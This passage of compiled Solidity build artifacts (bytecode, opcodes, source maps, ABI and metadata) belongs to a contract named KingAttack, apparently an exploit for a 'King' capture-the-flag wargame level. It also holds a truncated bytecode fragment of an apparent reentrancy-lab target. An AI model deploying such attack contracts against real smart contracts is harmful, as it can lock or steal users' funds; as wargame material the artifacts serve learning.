6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x40 MLOAD PUSH2 0x342 CODESIZE SUB DUP1 PUSH2 0x342 DUP4 CODECOPY DUP2 DUP2 ADD PUSH1 0x40 MSTORE DUP2 ADD SWAP1 PUSH2 0x32 SWAP2 SWAP1 PUSH2 0xCE JUMP JUMPDEST DUP1 PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP DUP1 PUSH1 0x1 PUSH1 0x0 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP POP PUSH2 0x149 JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP PUSH2 0xC8 DUP2 PUSH2 0x132 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0xE4 JUMPI PUSH2 0xE3 PUSH2 0x12D JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0xF2 DUP5 DUP3 DUP6 ADD PUSH2 0xB9 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x106 DUP3 PUSH2 0x10D JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x13B DUP2 PUSH2 0xFB JUMP JUMPDEST DUP2 EQ PUSH2 0x146 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH2 0x1EA DUP1 PUSH2 0x158 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x29 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x930C2003 EQ PUSH2 0x2E JUMPI DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x59 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x3A JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x43 PUSH2 0x63 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x50 SWAP2 SWAP1 PUSH2 0x159 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x61 PUSH2 0x87 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND CALLVALUE PUSH1 0x40 MLOAD PUSH2 0xCB SWAP1 PUSH2 0x144 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0x108 JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x10D JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP POP POP JUMP JUMPDEST PUSH2 0x11B DUP2 PUSH2 0x17F JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x12E PUSH1 0x0 DUP4 PUSH2 0x174 JUMP JUMPDEST SWAP2 POP PUSH2 0x139 DUP3 PUSH2 0x1B1 JUMP JUMPDEST PUSH1 0x0 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x14F DUP3 PUSH2 0x121 JUMP JUMPDEST SWAP2 POP DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x16E PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x112 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x18A DUP3 PUSH2 0x191 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 AND CALLVALUE PUSH27 0x959B8183DC886A443DF51DDA9738036FB1DC98ADD529B010E3385F PUSH27 0x4764736F6C63430008070033000000000000000000000000000000 ",
"sourceMap": "827:386:0:-:0;;;903:94;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;956:7;947:6;;:16;;;;;;;;;;;;;;;;;;983:7;970:5;;:21;;;;;;;;;;;;;;;;;;903:94;827:386;;7:159:1;72:5;103:6;97:13;88:22;;119:41;154:5;119:41;:::i;:::-;7:159;;;;:::o;172:367::-;250:6;299:2;287:9;278:7;274:23;270:32;267:119;;;305:79;;:::i;:::-;267:119;425:1;450:72;514:7;505:6;494:9;490:22;450:72;:::i;:::-;440:82;;396:136;172:367;;;;:::o;626:104::-;671:7;700:24;718:5;700:24;:::i;:::-;689:35;;626:104;;;:::o;736:126::-;773:7;813:42;806:5;802:54;791:65;;736:126;;;:::o;991:117::-;1100:1;1097;1090:12;1114:138;1195:32;1221:5;1195:32;:::i;:::-;1188:5;1185:43;1175:71;;1242:1;1239;1232:12;1175:71;1114:138;:::o;827:386:0:-;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@attack_161": {
"entryPoint": 135,
"id": 161,
"parameterSlots": 0,
"returnSlots": 0
},
"@victim_129": {
"entryPoint": 99,
"id": 129,
"parameterSlots": 0,
"returnSlots": 0
},
"abi_encode_t_address_payable_to_t_address_payable_fromStack": {
"entryPoint": 274,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack": {
"entryPoint": 289,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_tuple_packed_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed": {
"entryPoint": 324,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_tuple_t_address_payable__to_t_address_payable__fromStack_reversed": {
"entryPoint": 345,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack": {
"entryPoint": 372,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"cleanup_t_address_payable": {
"entryPoint": 383,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 401,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470": {
"entryPoint": 433,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1716:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "88:61:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "105:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "136:5:1"
}
],
"functionName": {
"name": "cleanup_t_address_payable",
"nodeType": "YulIdentifier",
"src": "110:25:1"
},
"nodeType": "YulFunctionCall",
"src": "110:32:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "98:6:1"
},
"nodeType": "YulFunctionCall",
"src": "98:45:1"
},
"nodeType": "YulExpressionStatement",
"src": "98:45:1"
}
]
},
"name": "abi_encode_t_address_payable_to_t_address_payable_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "76:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "83:3:1",
"type": ""
}
],
"src": "7:142:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "318:235:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "328:90:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "411:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "416:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulIdentifier",
"src": "335:75:1"
},
"nodeType": "YulFunctionCall",
"src": "335:83:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "328:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "516:3:1"
}
],
"functionName": {
"name": "store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470",
"nodeType": "YulIdentifier",
"src": "427:88:1"
},
"nodeType": "YulFunctionCall",
"src": "427:93:1"
},
"nodeType": "YulExpressionStatement",
"src": "427:93:1"
},
{
"nodeType": "YulAssignment",
"src": "529:18:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "540:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "545:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "536:3:1"
},
"nodeType": "YulFunctionCall",
"src": "536:11:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "529:3:1"
}
]
}
]
},
"name": "abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "306:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "314:3:1",
"type": ""
}
],
"src": "155:398:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "747:191:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "758:154:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "908:3:1"
}
],
"functionName": {
"name": "abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulIdentifier",
"src": "765:141:1"
},
"nodeType": "YulFunctionCall",
"src": "765:147:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "758:3:1"
}
]
},
{
"nodeType": "YulAssignment",
"src": "922:10:1",
"value": {
"name": "pos",
"nodeType": "YulIdentifier",
"src": "929:3:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "922:3:1"
}
]
}
]
},
"name": "abi_encode_tuple_packed_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "734:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "743:3:1",
"type": ""
}
],
"src": "559:379:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1058:140:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1068:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1080:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1091:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1076:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1076:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "1068:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1164:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1177:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1188:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1173:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1173:17:1"
}
],
"functionName": {
"name": "abi_encode_t_address_payable_to_t_address_payable_fromStack",
"nodeType": "YulIdentifier",
"src": "1104:59:1"
},
"nodeType": "YulFunctionCall",
"src": "1104:87:1"
},
"nodeType": "YulExpressionStatement",
"src": "1104:87:1"
}
]
},
"name": "abi_encode_tuple_t_address_payable__to_t_address_payable__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1030:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1042:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "1053:4:1",
"type": ""
}
],
"src": "944:254:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1317:34:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1327:18:1",
"value": {
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1342:3:1"
},
"variableNames": [
{
"name": "updated_pos",
"nodeType": "YulIdentifier",
"src": "1327:11:1"
}
]
}
]
},
"name": "array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "1289:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "1294:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "updated_pos",
"nodeType": "YulTypedName",
"src": "1305:11:1",
"type": ""
}
],
"src": "1204:147:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1410:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1420:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1449:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "1431:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1431:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "1420:7:1"
}
]
}
]
},
"name": "cleanup_t_address_payable",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1392:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "1402:7:1",
"type": ""
}
],
"src": "1357:104:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1512:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1522:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1537:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1544:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "1533:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1533:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "1522:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1494:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "1504:7:1",
"type": ""
}
],
"src": "1467:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1705:8:1",
"statements": []
},
"name": "store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "1697:6:1",
"type": ""
}
],
"src": "1599:114:1"
}
]
},
"contents": "{\n\n function abi_encode_t_address_payable_to_t_address_payable_fromStack(value, pos) {\n mstore(pos, cleanup_t_address_payable(value))\n }\n\n function abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos) -> end {\n pos := array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos, 0)\n store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470(pos)\n end := add(pos, 0)\n }\n\n function abi_encode_tuple_packed_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed(pos ) -> end {\n\n pos := abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack( pos)\n\n end := pos\n }\n\n function abi_encode_tuple_t_address_payable__to_t_address_payable__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_address_payable_to_t_address_payable_fromStack(value0, add(headStart, 0))\n\n }\n\n function array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos, length) -> updated_pos {\n updated_pos := pos\n }\n\n function cleanup_t_address_payable(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470(memPtr) {\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "6080604052600436106100295760003560e01c8063930c20031461002e5780639e5faafc14610059575b600080fd5b34801561003a57600080fd5b50610043610063565b6040516100509190610159565b60405180910390f35b610061610087565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16346040516100cb90610144565b60006040518083038185875af1925050503d8060008114610108576040519150601f19603f3d011682016040523d82523d6000602084013e61010d565b606091505b505050565b61011b8161017f565b82525050565b600061012e600083610174565b9150610139826101b1565b600082019050919050565b600061014f82610121565b9150819050919050565b600060208201905061016e6000830184610112565b92915050565b600081905092915050565b600061018a82610191565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b5056fea264697066735822122016347a959b8183dc886a443df51dda9738036fb1dc98add529b010e3385f7a4764736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x29 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x930C2003 EQ PUSH2 0x2E JUMPI DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x59 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x3A JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x43 PUSH2 0x63 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x50 SWAP2 SWAP1 PUSH2 0x159 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x61 PUSH2 0x87 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND CALLVALUE PUSH1 0x40 MLOAD PUSH2 0xCB SWAP1 PUSH2 0x144 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0x108 JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x10D JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP POP POP JUMP JUMPDEST PUSH2 0x11B DUP2 PUSH2 0x17F JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x12E PUSH1 0x0 DUP4 PUSH2 0x174 JUMP JUMPDEST SWAP2 POP PUSH2 0x139 DUP3 PUSH2 0x1B1 JUMP JUMPDEST PUSH1 0x0 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x14F DUP3 PUSH2 0x121 JUMP JUMPDEST SWAP2 POP DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x16E PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x112 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x18A DUP3 PUSH2 0x191 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 AND CALLVALUE PUSH27 0x959B8183DC886A443DF51DDA9738036FB1DC98ADD529B010E3385F PUSH27 0x4764736F6C63430008070033000000000000000000000000000000 ",
"sourceMap": "827:386:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;852:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1003:207;;;:::i;:::-;;852:29;;;;;;;;;;;;:::o;1003:207::-;1172:6;;;;;;;;;;:11;;1190:9;1172:32;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1003:207::o;7:142:1:-;110:32;136:5;110:32;:::i;:::-;105:3;98:45;7:142;;:::o;155:398::-;314:3;335:83;416:1;411:3;335:83;:::i;:::-;328:90;;427:93;516:3;427:93;:::i;:::-;545:1;540:3;536:11;529:18;;155:398;;;:::o;559:379::-;743:3;765:147;908:3;765:147;:::i;:::-;758:154;;929:3;922:10;;559:379;;;:::o;944:254::-;1053:4;1091:2;1080:9;1076:18;1068:26;;1104:87;1188:1;1177:9;1173:17;1164:6;1104:87;:::i;:::-;944:254;;;;:::o;1204:147::-;1305:11;1342:3;1327:18;;1204:147;;;;:::o;1357:104::-;1402:7;1431:24;1449:5;1431:24;:::i;:::-;1420:35;;1357:104;;;:::o;1467:126::-;1504:7;1544:42;1537:5;1533:54;1522:65;;1467:126;;;:::o;1599:114::-;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "98000",
"executionCost": "infinite",
"totalCost": "infinite"
},
"external": {
"attack()": "infinite",
"victim()": "2489"
}
},
"methodIdentifiers": {
"attack()": "9e5faafc",
"victim()": "930c2003"
}
},
"abi": [
{
"inputs": [
{
"internalType": "address payable",
"name": "_victim",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"name": "victim",
"outputs": [
{
"internalType": "address payable",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "address payable",
"name": "_victim",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"name": "victim",
"outputs": [
{
"internalType": "address payable",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/KingAttack.sol": "KingAttack"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/KingAttack.sol": {
"keccak256": "0x7a46fbbb13e8c6f11073a26bc49ba1f10148fc2a4d1e5b873264c0e05e95264f",
"license": "MIT",
"urls": [
"bzz-raw://1e79e85f6c5f51916160091fa7f16060b4c863d53baf8382d3d0f22adc851f4c",
"dweb:/ipfs/QmVNxQiftCskDCudDs58jbHPPXuHWhfFTkRxvvpXJLAmhE"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50610576806100206000396000f3fe6080604052600436106100425760003560e01c8062362a951461004e57806327e235e31461006a5780632e1a7d4d146100a757806370a08231146100d057610049565b3661004957005b600080fd5b6100686004803603810190610063919061034e565b61010d565b005b34801561007657600080fd5b50610091600480360381019061008c919061034e565b6101a3565b60405161009e91906103ef565b60405180910390f35b3480156100b357600080fd5b506100ce60048036038101906100c9919061037b565b6101bb565b005b3480156100dc57600080fd5b506100f760048036038101906100f2919061034e565b6102c6565b60405161010491906103ef565b60405180910390f35b61015e346000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461030e90919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60006020528060005260406000206000915090505481565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106102c35760003373ffffffffffffffffffffffffffffffffffffffff1682604051610226906103da565b60006040518083038185875af1925050503d8060008114610263576040519150601f19603f3d011682016040523d82523d6000602084013e610268565b606091505b50509050816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546102ba919061046b565b92505081905550505b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffff